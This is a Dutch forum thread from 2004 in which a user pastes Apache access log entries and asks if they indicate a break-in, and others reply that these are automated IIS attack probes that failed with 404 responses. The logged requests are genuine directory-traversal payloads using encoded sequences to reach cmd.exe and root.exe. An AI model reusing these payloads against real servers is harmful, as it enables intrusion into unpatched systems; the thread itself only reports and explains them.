[apache] inbraak?

[Verwijderd]

wat betekend dit ? stond in mijn apache access log.

213.114.144.86 - - [19/Nov/2004:14:36:32 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 282
213.114.144.86 - - [19/Nov/2004:14:36:32 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 280
213.114.144.86 - - [19/Nov/2004:14:36:32 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
213.114.144.86 - - [19/Nov/2004:14:36:32 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 290
213.114.144.86 - - [19/Nov/2004:14:36:32 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
213.114.144.86 - - [19/Nov/2004:14:36:32 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 321
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 337
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 303
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 294
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 294
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
213.114.144.86 - - [19/Nov/2004:14:36:33 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304

[job]

Dat zijn hackpogingen door een scriptkiddie of een virus/trojan.
Niets aan het handje aangezien je server gewoon een 404 terug stuurt.

[Icey]

JE server geeft een 404 terug, niks aan de hand dus..

Typisch geval van lamers die microsoft webserver proberen te kraken (als ze ongepatched zijn).

[SSH]

voor de stats, draai je win of wat anders?

[Verwijderd]

toch stond er 3 bestandjes in mijn documenten map.
draai windows media edition (sp2) met call of duty server. en apache voor de
statistieken server.

nu maar ff uitgedaan.

[Verwijderd]

Het zijn gewoon script die zoeken naar lekken op internet om ftp server op te zetten voor warez. Maar wat jij ziet zijn vooral hacks voor IIS, dus niet zoeen probleem.

update anders naar laatste versie van apache, dan zit je altijd goed. Want zijn meestal oude hacks.

[ Voor 24% gewijzigd door Verwijderd op 20-11-2004 17:59 ]

[curry684]

Als je al concrete vragen hebt over beveiliging hoort dat wonderlijk genoeg in Beveiliging & Virussen, maar dit is gewoon 'logje dumpen' waar je met een korte Google-tocht ook wel antwoord op had kunnen vinden. Schluss dus